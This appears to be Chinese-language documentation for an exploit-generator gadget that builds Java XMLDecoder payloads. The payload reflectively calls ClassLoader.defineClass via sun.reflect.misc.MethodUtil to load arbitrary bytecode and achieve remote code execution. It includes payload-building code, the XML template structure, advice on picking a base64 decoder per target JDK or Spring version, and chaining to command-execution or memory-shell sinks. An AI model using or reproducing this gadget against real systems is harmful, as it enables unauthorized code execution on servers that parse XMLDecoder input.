- 类别:xml 别名:— 优先级:—
- 作者:—
- 依赖:
jdk(模板内用到sun.reflect.misc.MethodUtil、java.lang.ClassLoader.defineClass;编码时用到org.apache.commons.codec.binary.Base64)
生成一段 XMLDecoder XML,令目标纯反射调用 ClassLoader.defineClass(byte[], int, int) 定义并实例化任意字节码,从而 RCE。相比 XMLBceLoader 依赖已在高版本失效的内置 BCEL,本 gadget 走标准 defineClass 反射路线,适配面更广、是高版本 JDK 下 XMLDecoder 加载字节码的首选。
- 入口
tags:XMLDecoderPayload—— 承接 XMLDecoder Payload 入口。 - 衔接
nextTags:BytecodeConvertTag—— 之后需向内接一个「产出byte[]字节码」的 gadget(本库中即 BytecodeConvert,其tags含BytecodeConvertTag)。 excludes:无。- 本 gadget 不带
END,必须与内层字节码链组合。
invoke 取内层的 byte[],Base64 编码后套入 XML:
public String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String(bytecode); // 字节码 → base64 文本
String decoderXml = this.buildDecoderXml(bytecodeB64); // 选定解码器,拼出 byteCode 对象声明
return String.format(template, decoderXml); // 填进主模板
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context)); // 内层产物是 byte[] 字节码
}
private String buildDecoderXml(String bytecodeB64) {
String[] methodParts = this.base64.split("\\.(?=[^\\.]+$)"); // 按最后一个点拆成 类名 / 方法名
if (methodParts.length != 2) {
throw new IllegalArgumentException("invalid base64 method: " + this.base64);
}
return String.format(base64StaticTemplate, methodParts[0], methodParts[1], bytecodeB64);
}base64StaticTemplate 渲染出一个把 base64 字符串解回 byte[] 的 <object id="byteCode">:
<object class="<解码器类>" method="<解码方法>" id="byteCode">
<string><![CDATA[<base64字节码>]]></string>
</object>主 template(%s 处即插入上面这段)在 XMLDecoder 解析时完成一整套反射「手工 defineClass」:
<void class="java.lang.reflect.Array" method="getLength" id="byteCodeLength">—— 求byteCode数组长度。Thread.currentThread().getContextClassLoader()绑定为 idloader—— 取当前线程上下文类加载器作为宿主。- 反射取
ClassLoader.getDeclaredMethod("defineClass", [B, int, int)绑定为defineClass,并setAccessible(true)。 <object method="invoke" class="sun.reflect.misc.MethodUtil" id="class">—— 关键点:不直接反射 invoke,而是借道sun.reflect.misc.MethodUtil.invoke(...)来执行defineClass.invoke(loader, {byteCode, 0, byteCodeLength})。MethodUtil位于受信任的sun.reflect.misc包,可绕过XMLDecoder对某些反射调用的访问限制,稳定完成 protected 方法defineClass的调用。<void idref="class"><void method="newInstance"/>—— 对定义出的 Class 调newInstance(),执行恶意类逻辑。
链构建(内→外):XMLJdkDefineClass → BytecodeConvert → Exec。Exec 产出 ProcessBuilder 字节码 → BytecodeConvert 输出 byte[] → 本 gadget base64 编码并塞进反射 defineClass 模板。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
base64 |
base64 实现 | 选定在目标端把 base64 字符串解回 byte[] 的解码器(类名.方法名,运行时按最后一个点拆分) |
com.sun.org.apache.xml.internal.security.utils.Base64.decode |
org.springframework.util.Base64Utils.decodeFromString(spring-core 自带,6.2 后移除)/javax.xml.bind.DatatypeConverter.parseBase64Binary(JDK 自带,JDK 11 后迁至 Jakarta XML Binding,需引依赖)/com.sun.org.apache.xml.internal.security.utils.Base64.decode(JDK 1.4~8 内置 internal API,JDK 9+ 需 --add-exports) |
需按目标环境挑选一个「确实可加载、且能把 base64 还原为字节数组」的静态方法。三选一分别覆盖 Spring 应用、旧版 JDK-JAXB、以及 JDK ≤ 8 的内部 API 三类场景。
- 核心是
java.lang.ClassLoader.defineClass+sun.reflect.misc.MethodUtil.invoke,不依赖内置 BCEL,因此比 XMLBceLoader 覆盖更高的 JDK 版本。 - 成功与否取决于所选 base64 解码器在目标端可用:JDK 9+ 下
com.sun...internal.security.utils.Base64默认不导出(需--add-exports),此时应改选 Spring 或 JAXB 实现——因此参数需按目标依赖精准匹配。 - 借道
sun.reflect.misc.MethodUtil是绕过XMLDecoder反射调用限制、稳定触达 protecteddefineClass的关键技巧。
自由构件,未直接出现在预设链中(usedInChains 为空);实战按 XMLJdkDefineClass → BytecodeConvert → Exec 组合。
- 内层(
nextTags=BytecodeConvertTag):BytecodeConvert → Exec(或其它字节码 sink,如内存马)。 - 同族 XMLDecoder 字节码加载 sink:XMLBceLoader(BCEL 路线,限 JDK ≤ 8)、
XMLJsLoader(脚本引擎路线,同nextTags=BytecodeConvertTag)。 - 上游:XMLDecoder Payload 入口 /
SpringBeanXMLDecoderClassLoader。